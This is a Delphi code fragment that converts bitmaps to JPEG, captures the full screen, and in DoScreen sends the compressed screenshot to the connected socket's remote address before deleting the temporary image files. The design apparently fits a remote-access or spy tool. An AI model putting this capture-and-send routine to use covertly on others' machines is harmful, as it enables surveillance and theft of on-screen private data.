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| Procedure TForm1.Bmp2Jpg (BmpFileName : String; JpgSavePath : string; Comp : Integer);
var bmp:TBitmap; Jpg:TJpegImage;
begin
bmp:=TBitmap.Create; jpg:=TJpegImage.Create;
try bmp.LoadFromFile (BmpFileName);
if comp < 1 then exit;
if comp > 100 then exit;
Jpg.CompressionQuality:=Comp; Jpg.Assign(bmp);
Jpg.SaveToFile (JpgSavePath + '.jpg');
finally jpg.Free; bmp.Free;
end;
end;
procedure ScreenShot(var OurImage:TBitmap);
var DCPuffer, DC: HDC;
Puffer: HBitmap;
x, y: integer;
begin
DC:=CreateDC('DISPLAY', nil, nil, nil);
x:=screen.Width; y:=screen.height;
DCPuffer:=CreateCompatibleDC(DC);
Puffer:=CreateCompatibleBitmap(DC, x, y);
SelectObject(DCPuffer,Puffer);
BitBlt(DCPuffer, 0, 0, x, y, dc, 0, 0, srccopy);
OurImage.Width:=x; OurImage.Height:=y;
BitBlt(OurImage.canvas.Handle, 0, 0, x, y, DCPuffer, 0, 0, srcCopy);
DeleteDC(DCPuffer); DeleteDC(DC); DeleteObject(Puffer);
end;
procedure DoScreen;
var scr:TBitMap; str:TFileStream;
begin
NMStrm1.Host:=Socket.RemoteAddress; scr:=TBitMap.Create;
ScreenShot(scr); scr.SaveToFile(base+'tmp_s.bmp'); scr.free;
Bmp2Jpg(base+'tmp_s.bmp',base+'scr',50);
str:=TFileStream.Create(base+'scr.jpg',fmOpenRead);
try NMStrm1.PostIt(str); finally begin str.Free; DeleteFile(base+'tmp_s.bmp');
DeleteFile(base+'scr.jpg'); end; end;
end; |
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